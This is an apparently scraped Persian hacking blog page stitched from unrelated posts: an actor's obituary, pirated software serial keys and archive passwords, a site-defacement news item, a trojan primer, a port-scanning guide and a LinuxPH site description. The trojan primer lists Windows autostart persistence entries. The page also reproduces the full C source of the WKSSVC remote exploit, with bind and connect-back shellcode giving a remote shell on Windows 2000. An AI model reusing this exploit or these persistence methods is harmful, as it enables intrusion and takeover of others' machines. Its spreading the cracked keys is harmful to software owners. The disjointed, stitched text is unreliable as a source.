گلشیفته فراهانی
.jpg)
wWw.FIRST.cOo.IR

واحد مرکزی خبر:این هنرمند کشورمان که مدت ها از عارضه سرطان کبد رنج می برد، ساعت 9 صبح امروز جمعه در بیمارستان پارسیان تهران درگذشت.
پیکر مرحوم خسرو شکیبایی روز یکشنبه 30 تیر ساعت 9 صبح از مقابل تالار وحدت تهران به سمت قطعه هنرمندان بهشت زهرا تشییع خواهد شد.

خسرو شکیبایی در سال 1323در تهران به دنیا آمد.
وی فارغ التحصیل بازیگری دانشکده هنرهای زیبا دانشگاه تهران بود و فعالیت هنری خود را از سال 1342 با بازیگری تئاتر آغاز کرد.
وی نخستین بار در سال 1353 در فیلم کوتاه و 16 میلیمتری "کتیبه" به کارگردانی فریبرز صالح مقابل دوربین رفت.
وی در سریال هایی چون لحظه ،کوچک جنگلی ،مدرس ،روزی روزگاری ،خانه سبز ،کاکتوس ،آواز مه ،تفنگ سرپر به ایفای نقش پرداخت .
بازی در فیلمهای هامون ، کیمیا ، کاغذ بی خط از دیگر نقش آفرینی های این هنرمند بود.
خسرو شکیبایی در هشتمین و سیزدهیمن جشنواره فیلم فجر بدلیل بازی در فیلمهای هامون و کیمیا سیمرغ بلورین بهترین بازیگر را دریافت کرد.

با نهايت تاسف و تاثر در گذشت اين هنرمند فقيد را به جامعه هنري ايران ، طرفدارانش و همچنين خانواده ي داغدارش تسليت عرض نموده بقاي عمر بازماندگان را مسئلت داريم.
: Serial Number
User ID : WWW.P30TOOLS.Com
Key ID : HN0AH-AZ870-0AAAZ

Password : www.p30tools.com
قابلیت تلفظ لغات:
اضافه کردن تلفظ با صدای مرد
اضافه کردن تلفظ با صدای زن
لغتنامه ها:
دیکشنری انگلیسی به فارسی برای ویندوزهای لاتین
دیکشنری انگلیسی به فارسی برای ویندوزهای فارسی
دیکشنری فارسی به انگلیسی
دیکشنری پیشرفته انگلیسی به فارسی با توضیحات اضافه و کلمات مشابه
دیکشنری انگلیسی به فارسی لغات صنعتی
مشاهده تمام لغت نامه های تخصصی


Xara 3D
برنامه قدرتمند برای خلق انواع تصاویر سه بعدی، توسط این برنامه میتوانید برای سایت خود لوگو یا آرم سه بعدی جذابی ایجاد کنید، این برنامه جالب به همین فونت های دو بعدی ویندوز جان میبخشد و آن ها را به صورت سه بعدی در میاورد، تمامی جزئیات از قبیل عمق، میزان نور، جهت تابش نور، نرمی، جنس، سایه ها همه و همه قابل تنظیم هستند.
همچنین میتوانید با حرکت بخشیدن با آنچه خلق کردید انیمیشن های سه بعدی ایجاد کنید و حتی به عنوان اسکرین سیور نیز از آنها استفاده کنید، تصاویر تولید شده توسط این برنامه کیفیت بالای دارند و به فورمت های WMF/EMF قابل ذخیره میباشند. که میتوان آنها را در برنامه CorelXARA ویرایش کرد و برای انتشار از طریق وب و فورمت های رایج در اینترنت آماده نمود.
محافظ صفحه های غیر استاندارد یکی از عوامل
بسیار مهم بالا رفتن مصرف باطری گوشی است. اما نرم افزار مخصوص اسکرین
سیور برای گوشی های سونی اریکسون سری UIQ با ساخت اسکرین سیور های مخصوص
بر توان باطری اثر نمی گذارد.
قابلیت نصب بر روی گوشی های :
P800 , P900 , P910 , P990 , P1i , M600 , W950 , W960

پسورد فایل : www.kamyabonline.com
به نقل از آی آر تی سی
به علت طولانی بودن در ادامه مطلب
به علت طولانی بودن در ادامه مطلب
وب سایت سازمان سنجش کشور مورد نفوذ هکرها قرار گرفت و هک شد.
هکری به نام kamy4r طی تماسی با آژانس خبری پرشین هک ، اعلام داشت که طی اقدامی دست به هک کردن یکی از ساب دامینهای این سازمان زده است.
آدرس مورد حمله قرار گرفته:
http://motaleat.sanjesh.org/university
لینک اثبات هک شدن این وبسایت:
http://www.zone-h.org/component/option,com_mirrorwrp/Itemid,160/id,7462529
این قسمت سایت سنجش از سیستم مدیریت محتوای جوملای فارسی استفاده شده است
مقدمه
با گسترش فرهنگ استفاده از كامپيوتر و راهيابي آن به ادارات،
منازل، اين ابزار از حالت آكادميك و تحقيقاتي بدر آمد و مبدل به پاره اي از نيازهاي
معمول زندگي شد. يكي از دستاوردهاي اين پيشرفت، ظهور شبكه اينترنت است كه به سرعت
در كشورها توسعه يافته و به يك پديده اجتماعي مبدل گشته است.
اجتماع بزرگ
كاربران اينترنت در سرتاسر دنيا از هر منطقه و نژادي كه باشند شامل افراد خوب و بد
خواهند بود، عده اي در جهت كسب منافع براي خود و ديگران تلاش مي كنند و عده اي در
جهت جذب منابع ديگران براي خود. با توجه به نو پا بودن اينترنت نمي توان انتظار
داشت كه يك فرهنگ صحيح و غني بر آن حاكم شده باشد و لذا احتمال سرقت اطلاعات و يا
دستكاري و انهدام آنها بنا به انگيزه هاي ناسالم، اهداف سياسي، جذب نامشروع ثروت مي
رود.
اين مجموعه که قرار است بطور منظم در نشريه تخصصی IC منتشر گردد
درباره چگونگي كار تروجان ها، انواع آنها و چگونگي تشخيص و مقابله با آنها به نكات
مفيدي اشاره خواهد نمود. ضمناً در قسمت پاياني هر قسمت نيزآدرسهاي منابع تحقيق
بصورت مستقيم در اختيار خواننده محترم قرار خواهد گرفت. همچنين علاقه مندان مي
توانند براي دريافت اطلاعات بيشتر به سايت هاي معرفي شده مراجعه نموده و نرم
افزارهاي مربوط را دريافت نمايند. ذکر اين نکته لازم است که به دليل گستردگي
استفاده از سيستم عامل ويندوز در ايران، مطالب ارائه شده درباره تروجانهای تحت
ويندوز می باشد.
يك Trojan Horse چيست؟
مي توان تعاريف زير را مطرح كرد:
يك برنامه ظاهراً بدون نويسنده يا به عبارتي با يك نويسنده غير مشخص که
اعمال ناشناخته و حتي ناخواسته از طرف كاربر انجام دهد.
يك برنامه قانونی و
معروف كه داخلش دگرگون شده است، بطوری که کدهای ناشناخته ای به آن اضافه گرديده و
اعمال شناخته نشده اي بطور ناخواسته از طرف كاربر انجام مي دهند.
هر برنامه
اي كه ظاهر مطلوب پسنديده اي به همراه برخي از اعمال مورد نياز داشته باشد بطوريكه
كدهاي محقق شده اي كه از نظر كاربر مخفي است درون آن موجود مي باشد. يك سري اعمال
نا شناخته و غير منتظره اي كه بطور حتم با نظر كاربر نبوده است را انجام مي دهد.
اسب تراوا نامي است كه از يك افسانه قديمي گرفته شده كه درباره چگونگي نفوذ
يونانيان بر محل دشمنان خود از طريق ساختن يك اسب بزرگ و هديه دادن آن به دشمن كه
نيروهايشان در داخل مجسمه اسب قرارگرفته بودند. هنگام شب سربازان يوناني اسب را
شكستند و به دشمنانشان حمله نمودند و بطور كامل آنها غافلگير كردند و در جنگ فاتح
ميدان شدند.
تروجان ها چگونه كار مي كنند؟
تروجان ها به دو
قسمت تقسيم مي شوند. يك قسمت Client (خدمات گيرنده) و ديگری Server (خدمات دهنده).
وقتي قرباني ندانسته قسمت Server را روي سيستم خودش اجرا مي كند. حمله كننده بوسيله
قسمت Client با Server كه روي كامپيوتر قرباني است متصل مي شود و از آن پس مي تواند
كنترل سيستم قرباني را در دست بگيرد . پروتكل TCP/IP كه استاندارد معمول براي
برقراري ارتباطات است به اين تروجان آلوده ميشود و تروجان از طريق آن كارش را انجام
مي دهد. البته لازم به ذكر است كه برخي اعمال تروجانها نيز از پروتكل UDP استفاده
مي كنند. معمولاً زماني كه Server روي كامپيوتر قرباني اجرا مي شود. خود را در جايي
از حافظه مخفي مي كند تا پيدا كردن يا تشخيص آن مشكل شود و به برخي درگاههاي خاص
(Port) گوش مي دهد تا ببيند درخواست ارتباطي به سيستم از طرف حمله كننده آمده است
يا نه، از طرفي رجيستري را نيز به گونه اي ويرايش مي كند كه برخي از اعمال بطور
خودكار روي سيستم شروع به كار كنند.
براي نفوذ كننده لازم است كه IP قرباني
را بداند براي اينكه بتواند به سيستم او متصل شود. اكثر قريب به اتفاق تروجانها
بصورتي برنامه ريزي شده اند كه IP قرباني را براي حمله كننده ارسال مي كنند همانند
سيستم پيغام گذار از طريق ICQ يا IRS . اين زماني اتفاق مي افتد كه قرباني IP
ديناميك داشته باشد بدين معني كه هر زمان به اينترنت متصل ميشود و يك IP متفاوت از
قبل داشته باشد كه اغلب سيستم هايي كه به روش dial- up به اينترنت متصل مي شوند از
اين قانون پيروي مي كنند. كاربران ASDL معمولا IP هاي ثابت دارند به همين علت IP
آلوده شده همواره براي حمله كننده شناخته شده است و اين حالت باعث تسهيل درامر
اتصال به سيستم قرباني مي گردد.
اغلب تروجانها از روش شروع اتوماتيك
استفاده مي كنند. بصورتي كه اگر شما كامپيوترتان را خاموش كنيد آنها قادر خواهند كه
فعاليتهايشان را مجددا ً آغاز كنند و دسترسي لازم به حمله كننده را روي سيستم شما
بدهند و ساختن تروجانها با قابليت شروع روشهايي هستند كه هميشه مورد استفاده قرار
مي گيرند. يكي از اين روشها، محلق كردن تروجان به يك فايل اجرايي كه كاربرد زيادي
دارد مي باشد، به عبارت ديگر محلق نمودن تروجان به يك برنامه پركاربرد ، موجب عملي
شدن تفكرات حمله كننده خواهد شد. روشهاي شناخته شده نيز همانند دستكاري فايلهاي
ريجستري ويندوز مي تواند به عملي شدن افكار حمله كننده بيانجامد. فايلهاي سيستمي
ويندوز قرار دارند كه مي توانند بهترين انتخابهاي حمله كنندگان باشند.
به جهت اينکه دوستان بتوانند سيستم خود را در برابر اين حمله ها محافظت
نمايند، قسمتهای مختلف ويندوز که می توان از آن استفاده نمود را در اينجا بررسی می
کنيم.
پوشه شروع خودكار
پوشه اي كه بصورت خودكار در شروع كار
ويندوز فراخواني مي شود و فايلهاي داخل آن بصورت اتوماتيك اجرا مي شوند در آدرس زير
قرار دارند.
C:\ windows\ start Menu \ programs \startup
البته فرض براي اين است كه سيستم عامل ويندوز در درايو C و در شاخه
windows نصب شده باشد.
فايل Win.ini
فرمت شروع خودكار در اين
فايل بصورت زير مي باشد :
Load = Trojan.exe
Run = Trojan.exe
فايل System.ini
فرمت بكارگيري تروجان در اين فايل
سيستمي بصورت زير است:
Shell = explorer.exe Trojan.exe
كه باعث مي شود بعد از هر بار اجراي Explorer فايل Trojan.exe اجرا
شود.
فايل Wininit.ini
اين فايل توسط Setup.exe برنامه هاي نصب
شوند مورد استفاده قرار مي گيرد.
بدين صورت كه يك بار اجرا شود، قابليت حذف
خودكار را نيز دارد كه براي تروجان ها بسيار سهل مي باشد.
Winstart.bat
اين فايل دسته اي هم در ابتداي شروع به كار ويندوز فراخواني شده و فرامين
داخل آن به ترتيب اجراي مي شوند كه تروجان مي تواند با افزودن خط زير خود را در
حافظه بار كند.
@ Trojan.exe
فايل Autoexec.bat
اين فايل دسته اي هم از فايلهاي معروف فراخواني شده در ابتداي كار سيستم
عامل مي باشد كه مي توان با دستكاري و اضافه نمودن خط زير بر آن تروجان مورد نظر را
در سيستم قرباني اجرا نمود:
C:\ Trojan.exe
فايل
Config.sys
اين فايل نيز از معروفترين فايلهاي پيكر بندي سيستم است و مي
تواند در امر اجراي تروجان كاربرد داشته باشد.
به علت طولانی بودن در ادامه مطلب
به علت طولانی بودن در ادامه مطلب
به علت طولانی بودن در ادامه مطلب
به علت طولانی بودن در ادامه مطلب
به علت طولانی بودن در ادامه مطلب

دریافت فایل : دانلود
پسورد فایل : www.naja.sub.ir
به علت طولانی بودن در ادمه مطلب
|
|||||||||||||||||||||
به علت طولانی بودن در ادمه مطلب
به علت طولانی بودن در ادمه مطلب
به علت طولانی بودن در ادامه مطلب
قبلش با شما میخوام حرف حسلب بزنم اگر میخواهید هکر شید از این سایتها هیچی نسیبتان نمیشود دستبکار بشید برید برای یادگیری زبان c و++c
دسته بندي اول:
پورتهاي ۰تا ۱۰۲۳
مشهورترين پورتها هستند و معمولا هر کدام براي سرويس خاص استفاده ميشود مثلا پورت ۲۱ جهت سرويس ftpو يا پورت ۸۰جهت سرويس html
پورتهاي ۱۰۲۴ تا ۴۹۱۵۱
اين سري از پورتها زماني استفاده ميشود که سيستم از يک ابزار شبکه در حال استفاده باشد مثل استفاده از outlook
پورتهاي ۴۹۱۵۲ تا ۶۵۵۳۵
اين سري از پورتها به ندرت استفاده ميشوند و معمولا توسط تروجانها باز شده و مورد استفاده قرار مي گيرد . اين تقسيم بندي ها هميشه بر قرار نبوده به همين خاطر به صورت ديگر نيز تقسيم ميشوند.
تقسيم دوم :
پورت هاي زير ۱۰۲۴ و پورت هاي بالاي ۱۰۲۴
چگونگي يافتن پورتهاي باز:
معمولا از برنامه هاي نوشته شده بنام پورت اسکنر ميتوان پورتهاي باز يک سيستم را پيدا کرد. معروفترين پورت اسکنر ها مثل nmapwin' .superscan . winscan . ipeye .ogre .retina.
از اسکنرهاي نام برده شده معمول دست هکرها nmapwin و retina ميباشد که در حال حاضر براي کار ما مناسب نيست.
نکته1: هيچ اسکنري به طور ۱۰۰% جواب گوي نياز نمي باشد و من در پستهاي قبل يك برنامه گذاشتم براي دانلود.
نكته2: پورت هاي مهم را به ياد داشته باشيد : 7، 15، 21، 23، 25، 79،80،11
| CODE |
#pragma comment (linker,"/NODEFAULTLIB:msvcprtd.lib") #pragma comment (linker,"/NODEFAULTLIB:libcmtd.lib") #pragma comment (linker,"/NODEFAULTLIB:libcmt.lib") #pragma comment (linker,"/NODEFAULTLIB:libcd.lib") #pragma comment (lib,"ws2_32") #pragma comment (lib,"msvcrt") #pragma comment (lib,"mpr") #pragma warning (disable:4013) #include #include #include #include #include #include #define NOP 0x90 #define PORT 24876 #define KEY 0x99999999 #define ALIGN 1 // Between 0 ~ 3 #define TARGET 1 #define INTERVAL 3 #define TIME_OUT 20 #define PORT_OFFSET_1 198 #define PORT_OFFSET_2 193 #define IP_OFFSET 186 #define SC_OFFSET 20 // Gap for some NOPs... #define RET_SIZE 2026 // Big enuff to take EIP... #define SC_SIZE_1 sizeof(bindport) #define SC_SIZE_2 sizeof(connback) #define BSIZE 2600 #define SSIZE 128 extern char getopt(int,char **,char*); extern char *optarg; static int alarm_fired=0; HMODULE hMod; FARPROC fxn; HANDLE t1, t2; char buff[BSIZE]; struct { char *os; long jmpesp; char *dll; } targets[] = { { "Window 2000 (en) SP4", 0x77e14c29, "user32.dll 5.0.2195.6688" }, { "Window 2000 (en) SP1", 0x77e3cb4c, "user32.dll 5.0.2195.1600" }, { "For debugging only", 0x41424344, "dummy.dll 5.0.2195.1600" } }, v; /* * HD Moore's shellcode..... */ char bindport[]= "\xeb\x19\x5e\x31\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x99\x99\x99" "\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff" "\x71\xa1\x99\x99\x99\xda\xd4\xdd\x99\x7e\xe0\x5f\xe0\x7c\xd0\x1f" "\xd0\x3d\x34\xb7\x70\x3d\x83\xe9\x5e\x40\x90\x6c\x34\x52\x74\x65" "\xa2\x17\xd7\x97\x75\xe7\x41\x7b\xea\x34\x40\x9c\x57\xeb\x67\x2a" "\x8f\xce\xca\xab\xc6\xaa\xab\xb7\xdd\xd5\xd5\x99\x98\xc2\xcd\x10" "\x7c\x10\xc4\x99\xf3\xa9\xc0\xfd\x12\x98\x12\xd9\x95\x12\xe9\x85" "\x34\x12\xc1\x91\x72\x95\x14\xce\xb5\xc8\xcb\x66\x49\x10\x5a\xc0" "\x72\x89\xf3\x91\xc7\x98\x77\xf3\x93\xc0\x12\xe4\x99\x19\x60\x9f" "\xed\x7d\xc8\xca\x66\xad\x16\x71\x09\x99\x99\x99\xc0\x10\x9d\x17" "\x7b\x72\xa8\x66\xff\x18\x75\x09\x98\xcd\xf1\x98\x98\x99\x99\x66" "\xcc\xb9\xce\xce\xce\xce\xde\xce\xde\xce\x66\xcc\x85\x10\x5a\xa8" "\x66\xce\xce\xf1\x9b\x99\xf8\xb5\x10\x7f\xf3\x89\xcf\xca\x66\xcc" "\x81\xce\xca\x66\xcc\x8d\xce\xcf\xca\x66\xcc\x89\x10\x5b\xff\x18" "\x75\xcd\x99\x14\xa5\xbd\xa8\x59\xf3\x8c\xc0\x6a\x32\x10\x4e\x5f" "\xdd\xbd\x89\xdd\x67\xdd\xbd\xa4\x10\xe5\xbd\xd1\x10\xe5\xbd\xd5" "\x10\xe5\xbd\xc9\x14\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xd8\xc8\xd0" "\xc8\xc8\x66\xec\x99\xc8\x66\xcc\xa9\x10\x78\xf1\x66\x66\x66\x66" "\x66\xa8\x66\xcc\xb5\xce\x66\xcc\x95\x66\xcc\xb1\xca\xcc\xcf\xce" "\x12\xf5\xbd\x81\x12\xdc\xa5\x12\xcd\x9c\xe1\x98\x73\x12\xd3\x81" "\x12\xc3\xb9\x98\x72\x7a\xab\xd0\x12\xad\x12\x98\x77\xa8\x66\x65" "\xa8\x59\x35\xa1\x79\xed\x9e\x58\x56\x94\x98\x5e\x72\x6b\xa2\xe5" "\xbd\x8d\xec\x78\x12\xc3\xbd\x98\x72\xff\x12\x95\xd2\x12\xc3\x85" "\x98\x72\x12\x9d\x12\x98\x71\x72\x9b\xa8\x59\x10\x73\xc6\xc7\xc4" "\xc2\x5b\x91\x99"; char connback[]= "\xeb\x19\x5e\x31\xc9\x81\xe9\xab\xff\xff\xff\x81\x36\x99\x99\x99" "\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff" "\x71\xa9\x99\x99\x99\xda\xd4\xdd\x99\x7e\xe0\x5f\xe0\x75\x60\x33" "\xf9\x40\x90\x6c\x34\x52\x74\x65\xa2\x17\xd7\x97\x75\xe7\x41\x7b" "\xea\x34\x40\x9c\x57\xeb\x67\x2a\x8f\xce\xca\xab\xc6\xaa\xab\xb7" "\xdd\xd5\xd5\x99\x98\xc2\xcd\x10\x7c\x10\xc4\x99\xf3\xa9\xc0\xfd" "\x12\x98\x12\xd9\x95\x12\xe9\x85\x34\x12\xc1\x91\x72\x95\x14\xce" "\xbd\xc8\xcb\x66\x49\x10\x5a\xc0\x72\x89\xf3\x91\xc7\x98\x77\xf3" "\x91\xc0\x12\xe4\x99\x19\x60\x9d\xed\x7d\xc8\xca\x66\xad\x16\x71" "\x1a\x99\x99\x99\xc0\x10\x9d\x17\x7b\x72\xa8\x66\xff\x18\x75\x09" "\x98\xcd\xf1\x98\x98\x99\x99\x66\xcc\x81\xce\xce\xce\xce\xde\xce" "\xde\xce\x66\xcc\x8d\x10\x5a\xa8\x66\xf1\x59\x31\x91\xa0\xf1\x9b" "\x99\xf8\xb5\x10\x78\xf3\x89\xc8\xca\x66\xcc\x89\x1c\x59\xec\xdd" "\x14\xa5\xbd\xa8\x59\xf3\x8c\xc0\x6a\x32\x5f\xdd\xbd\x89\xdd\x67" "\xdd\xbd\xa4\x10\xc5\xbd\xd1\x10\xc5\xbd\xd5\x10\xc5\xbd\xc9\x14" "\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xd8\xc8\xd0\xc8\xc8\x66\xec\x99" "\xc8\x66\xcc\xb1\x10\x78\xf1\x66\x66\x66\x66\x66\xa8\x66\xcc\xbd" "\xce\x66\xcc\x95\x66\xcc\xb9\xca\xcc\xcf\xce\x12\xf5\xbd\x81\x12" "\xdc\xa5\x12\xcd\x9c\xe1\x98\x73\x12\xd3\x81\x12\xc3\xb9\x98\x72" "\x7a\xab\xd0\x12\xad\x12\x98\x77\xa8\x66\x65\xa8\x59\x35\xa1\x79" "\xed\x9e\x58\x56\x94\x98\x5e\x72\x6b\xa2\xe5\xbd\x8d\xec\x78\x12" "\xc3\xbd\x98\x72\xff\x12\x95\xd2\x12\xc3\x85\x98\x72\x12\x9d\x12" "\x98\x71\x72\x9b\xa8\x59\x10\x73\xc6\xc7\xc4\xc2\x5b\x91\x99\x09"; void err_exit(char *s) { printf("%s\n",s); exit(0); } /* * Ripped from TESO code and modifed by ey4s for win32 * and... lamer quoted it wholesale here..... =p */ void doshell(int sock) { int l; char buf[512]; struct timeval time; unsigned long ul[2]; time.tv_sec=1; time.tv_usec=0; while (1) { ul[0]=1; ul[1]=sock; l=select(0,(fd_set *)&ul,NULL,NULL,&time); if(l==1) { l=recv(sock,buf,sizeof(buf),0); if (l<=0) { err_exit("-> Connection closed...\n"); } l=write(1,buf,l); if (l<=0) { err_exit("-> Connection closed...\n"); } } else { l=read(0,buf,sizeof(buf)); if (l<=0) { err_exit("-> Connection closed...\n"); } l=send(sock,buf,l,0); if (l<=0) { err_exit("-> Connection closed...\n"); } } } } void changeip(char *ip) { char *ptr; ptr=connback+IP_OFFSET; /* Assume Little-Endianess.... */ *((long *)ptr)=inet_addr(ip)^KEY; } void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; port^=KEY; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); } void banner() { printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n"); } void usage(char *s) { banner(); printf("Usage: %s [options]\n",s); printf("\t-r\tSize of 'return addresses'\n"); printf("\t-a\tAlignment size [0~3]\n"); printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n"); printf("\t\tPort for shell to connect back (in 'listening' mode)\n"); printf("\t-s\tShellcode offset from the return address\n"); printf("\t-h\tTarget's IP\n"); printf("\t-t\tTarget types. ( -H for more info )\n"); printf("\t-H\tShow list of possible targets\n"); printf("\t-l\tListening for shell connecting\n"); printf("\t\tback to port specified by '-p' switch\n"); printf("\t-i\tIP for shell to connect back\n"); printf("\t-I\tTime interval between each trial ('connecting' mode only)\n"); printf("\t-T\tTime out (in number of seconds)\n\n"); printf("\tNotes:\n\t======\n\t'-h' is mandatory\n"); printf("\t'-i' is mandatory if '-l' is specified\n\n"); exit(0); } void showtargets() { int i; banner(); printf("Possible targets are:\n"); printf("=====================\n"); for (i=0;i printf(" --> 0x%08x (%s)\n",targets[i].jmpesp,targets[i].dll); } exit(0); } void sendstr(char *host) { WCHAR wStr[128]; char ipc[128], hStr[128]; DWORD ret; NETRESOURCE NET; hMod=LoadLibrary("netapi32.dll"); fxn=GetProcAddress(hMod,"NetValidateName"); _snprintf(ipc,127,"\\\\%s\\ipc$",host); _snprintf(hStr,127,"\\\\%s",host); MultiByteToWideChar(CP_ACP,0,hStr,strlen(hStr)+1,wStr,sizeof(wStr)/sizeof(wStr[0])); NET.lpLocalName = NULL; NET.lpProvider = NULL; NET.dwType = RESOURCETYPE_ANY; NET.lpRemoteName = (char*)&ipc; printf("-> Setting up $IPC session...(aka 'null session')\n"); ret=WNetAddConnection2(&NET,"","",0); if (ret!=ERROR_SUCCESS) { err_exit("-> Couldn't establish IPC$ connection..."); } else printf("-> IPC$ session setup successfully...\n"); printf("-> Sending exploit string...\n"); ret=fxn((LPCWSTR)wStr,buff,NULL,NULL,0); } VOID CALLBACK alrm_bell(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime ) { err_exit("-> I give up...dude....."); } void setalarm(int timeout) { MSG msg = { 0, 0, 0, 0 }; SetTimer(0, 0, (timeout*1000), (TIMERPROC)alrm_bell); while(!alarm_fired) { if (GetMessage(&msg, 0, 0, 0) ) { if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n"); DispatchMessage(&msg); } } } void resetalarm() { if (TerminateThread(t2,0)==0) { err_exit("-> Failed to reset alarm..."); } if (TerminateThread(t1,0)==0) { err_exit("-> Failed to kill the 'sending' thread..."); } } void do_send(char *host,int timeout) { t1=(HANDLE)_beginthread(sendstr,0,host); if (t1==0) { err_exit("-> Failed to send exploit string..."); } t2=(HANDLE)_beginthread(setalarm,0,timeout); if (t2==0) { err_exit("-> Failed to set alarm clock..."); } } int main(int argc, char *argv[]) { char opt; char *host, *ptr, *ip=""; struct sockaddr_in sockadd; int i, i_len, ok=0, mode=0, flag=0; int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET; int target=TARGET, scsize=SC_SIZE_1, port=PORT; int timeout=TIME_OUT, interval=INTERVAL; long retaddr; WSADATA wsd; SOCKET s1, s2; if (argc<2) { usage(argv[0]); } while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) { switch(opt) { case 'a': align=atoi(optarg); break; case 'I': interval=atoi(optarg); break; case 'T': timeout=atoi(optarg); break; case 't': target=atoi(optarg); retaddr=targets[target-1].jmpesp; break; case 'i': ip=optarg; changeip(ip); break; case 'l': mode=1; scsize=SC_SIZE_2; break; case 'r': retsize=atoi(optarg); break; case 's': sc_offset=atoi(optarg); break; case 'h': ok=1; host=optarg; sockadd.sin_addr.s_addr=inet_addr(optarg); break; case 'p': port=atoi(optarg); break; case 'H': showtargets(); break; default: usage(argv[0]); break; } } if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); } memset(buff,NOP,BSIZE); ptr=buff+align; for(i=0;i ptr+=4; } if (WSAStartup(MAKEWORD(1,1),&wsd)!=0) { err_exit("-> WSAStartup error...."); } if ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) { err_exit("-> socket() error..."); } sockadd.sin_family=AF_INET; sockadd.sin_port=htons((SHORT)port); ptr=buff+retsize+sc_offset; if (BSIZE<(retsize+sc_offset+scsize)) err_exit("-> Bad 'sc_offset'.."); banner(); if (mode) { printf("-> 'Listening' mode...( port: %d )\n",port); changeport(connback, port, PORT_OFFSET_2); for(i=0;i do_send(host,timeout); Sleep(1000); sockadd.sin_addr.s_addr=htonl(INADDR_ANY); i_len=sizeof(sockadd); if (bind(s1,(struct sockaddr *)&sockadd,i_len)<0) { err_exit("-> bind() error"); } if (listen(s1,0)<0) { err_exit("-> listen() error"); } printf("-> Waiting for connection...\n"); s2=accept(s1,(struct sockaddr *)&sockadd,&i_len); if (s2<0) { err_exit("-> accept() error"); } printf("-> Connection from: %s\n\n",inet_ntoa(sockadd.sin_addr)); resetalarm(); doshell(s2); } else { printf("-> 'Connecting' mode...\n",port); changeport(bindport, port, PORT_OFFSET_1); for(i=0;i do_send(host,timeout); Sleep(1000); printf("-> Will try connecting to shell now....\n"); i=0; while(!flag) { Sleep(interval*1000); if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) { printf("-> Trial #%d....\n",i++); } else { flag=1; } } printf("-> Connected to shell at %s:%d\n\n",inet_ntoa(sockadd.sin_addr),port); resetalarm(); doshell(s1); } return 0; } |
درباره LinuxPH:
LinuxPH نامی است که من برای این وب سایت انتخاب کرده ام. در اینجا شما نیاز به استفاده منحصرا از موس ندارید چون محیط کاربری این سیستم همانند terminal لینوکس می باشد.در طراحی وب سایت ها همواره بیشتر توجه بر روی استفاده از موس بوده است و برای دستیابی به قسمت های مختلف وب سایت ها تنها اشاره برروی کلید های موس کافی است در این بین استفاده از کی بورد بسیار کمرنگ بود این امر ما را در طراحی این سیستم منحصر بفرد روی وب مجاب کرد که نه تنها با استفاده از موس بلکه در کنار آن کی بورد هم نقش اساسی خود را نشان می دهد. مهمترین حسن استفاده از کی بود در LinuxPH دسترسی سریع و آسان به قسمت های مختلف وب سایت تنها با وارد کردن یک دستور چند حرفی می باشد. این قابلیت جدید امکان ایجاد بسیاری از قسمت های منحصر بفرد را روی این وب سایت ایجاد کرده که یکی از آنها شبیه سازی فضای ترمینال لینوکس و یا Hidden Commands است. مسلما چون این سیستم برای اولین باریست که طراحی شده است دارای مشکلاتی می باشد ولی آینده ی بسیار روشنی دارد و قابلیت های بسیار بزرگتری را میتوان به آن اضافه نمود.اگر شما توانایی برنامه نویسی تحت وب و یا حتی ایده ای جالبی برای گسترش این سیستم دارید حتما ما را در جریان آن قرار دهید یا با ما همکاری لازم را بکنید.
درباره برنامه نویس LinuxPH:
پدارم حیاتی(Pi3cH) دانشجوی رشته مهندسی فناوری اطلاعات (IT) هستم. ایده ی طراحی LinuxPH زمانی به ذهنم رسید که می خواستم طرح جدیدی را برای وب سایت پرشین هکرز طراحی کنم. در ابتدا قصد داشتم ویرایش جدید پورتال پرشین هکرز 2.0.0 را طراحی کنم قابلیت دستیابی به صفحات سایت را تنها با استفاده از کی بورد را داشته باشد ولی پس از مدتی کار روی این سیستم به این نتیجه رسیدم که کی بورد تنها جواب گوی کلیه نیاز ها نمی تواند باشد و درکنار آن حتما نیاز به استفاده از موس هست این شد که تصمیم گرفتم در این سیستم جای موس را خالی نکنم. چون دستورات یا command های محیط ویندوز در برابر لینوکس قابل مقایسه نیست سعی کردم بیشتر از شکل و ساختار دستورات لینوکس در این سیستم استفاده کنم و از آنجا نام LinuxPH که تلفیقی از کلمه لینوکس و مخفف حروف پرشین هکرز (و هم نام و نام خانوادگی خودم!) می باشد را روی آن قرار دهم. برنامه نویسی و طراحی قالب LinuxPH زمان بسیار زیادی را از من گرفت چون سعی کردم از آیکون های موجود در محیط KDE RedHat یا آیکون ها Suse استفاده کنم تا ظاهر LinuxPH نیز آشنای لینوکس کاران باشد. دستوراتی که در این ویرایش از LinuxPH قرار داده ام محدود می باشد ولی به مرور به دستورات آن اضافه می کنم. اگر شما عزیزان نیز توانایی همکاری با من در توسعه این سیستم را دارید حتما با من مکاتبه کنید در این سیستم حتی شما می توانیید یک دستور بنویسید و با نام و کپی رایت خودتان به ثبت برسانید. محیط برنامه نویسی LinuxPH برنامه PHP4 و بانک اطلاعاتی آن MySql می باشد. قسمت دستورات به تمامی به صورت شیئی گرا(OOP) برنامه نویسی شده است. هم این جا از اشکان عزیز(http://www.amoozeshi.com/) بخاطر طراحی لوگو بالای سایت کمال تشکر را دارم. واقعا یک لوگوی بسیار زیبا با فونتی زیباتر طراحی کرده اند (خودم هم یک خورده تغییرش دادم!). طرح اصلی آرم پرشین هکرز توسط علی عزیز(Aliix - http://www.corelist.net/) انجام شده که بعلت مشغله کاری نتوانست ما را در طراحی لوگو جدید یاری کند. باز از زحمات این دو عزیز تشکر می کنم. محیط LinuxPH را طوری طراحی کرده ام که براحتی می توان قالب آن را 